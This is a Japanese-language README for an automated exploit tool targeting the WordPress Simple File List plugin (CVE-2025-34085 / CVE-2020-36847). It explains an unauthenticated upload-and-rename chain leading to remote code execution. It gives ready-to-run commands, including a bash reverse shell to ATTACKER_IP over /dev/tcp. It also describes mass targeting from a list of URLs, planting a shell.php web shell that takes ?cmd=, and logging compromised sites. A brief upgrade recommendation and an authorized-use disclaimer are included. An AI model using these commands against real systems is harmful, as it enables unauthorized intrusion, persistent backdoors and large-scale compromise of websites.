CVE-2025-34085 — WordPress Simple File List 未認証リモートコード実行

CVE-2025-34085（CVE-2020-36847の重複）の自動エクスプロイトです。これは WordPress Simple File List プラグインバージョン ≤ 4.2.2 における、重大な未認証リモートコード実行脆弱性です。

注記: CVE-2025-34085 は CVE-2020-36847 の重複としてMITREにより拒否されました。脆弱性は実際に存在し、バージョン4.2.3で修正されています。両方のCVE IDは同じ根本的な問題を指しています。

脆弱性概要

項目	詳細
CVE	CVE-2025-34085 / CVE-2020-36847
プラグイン	Simple File List
影響を受けるバージョン	≤ 4.2.2
修正バージョン	4.2.3
種別	無制限ファイルアップロード → 名前変更バイパス → RCE
CVSS	9.8（緊急）
認証	不要
最初の発見者	coiffeur
Metasploitモジュール	`exploit/multi/http/wp_simple_file_list_rce`

アップロード — PHPペイロードが.pngファイルに偽装され、プラグインのアップロードエンドポイント（ee-upload-engine.php）を介してアップロードされます。アップロードエンジンは拡張子を検証しますが、画像ファイルを受け入れます。
名前変更 — プラグインの名前変更機能（ee-file-engine.php）は拡張子制限を適用しません。攻撃者は.pngを.php（または.phtml、.php5、.php3）に名前変更します。
実行 — 名前変更されたPHPファイルは、アップロードディレクトリ/wp-content/uploads/simple-file-list/でアクセス可能かつ実行可能になり、攻撃者に任意のコマンド実行を許可します。

pip install requests colorama

Python 3.6以上

python3 CVE-2025-34085.py -u http://target.com --cmd "id"

python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline

各行に1つのURLを記述したtargets.txtファイルを作成します:

http://target1.com
http://target2.com
https://target3.com

python3 CVE-2025-34085.py --cmd "id"

ヒント: リバースシェルが必要な場合や、ターゲットにクエリ文字列フィルタリングがある場合は--inlineを使用してください。--inlineを使用しない場合、エクスプロイトは?cmd=を介してコマンドを受け付けるウェブシェルを配置します。

成功したエクスプロイトはvuln.txtに記録されます:

http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)

Simple File Listプラグインをバージョン4.2.3以上にアップグレードしてください。

このツールは認可されたペネトレーションテストおよび教育目的のみを対象としています。許可なくコンピュータシステムにアクセスすることは違法です。テスト前には必ず適切な許可を取得してください。

`-u`, `--url`	単一ターゲットURL	—
`--cmd`	ターゲット上で実行するコマンド	`id`
`--inline`	PHPシェルにコマンドを直接注入（ハードコード、`?cmd=`ウェブシェルなし）	`False`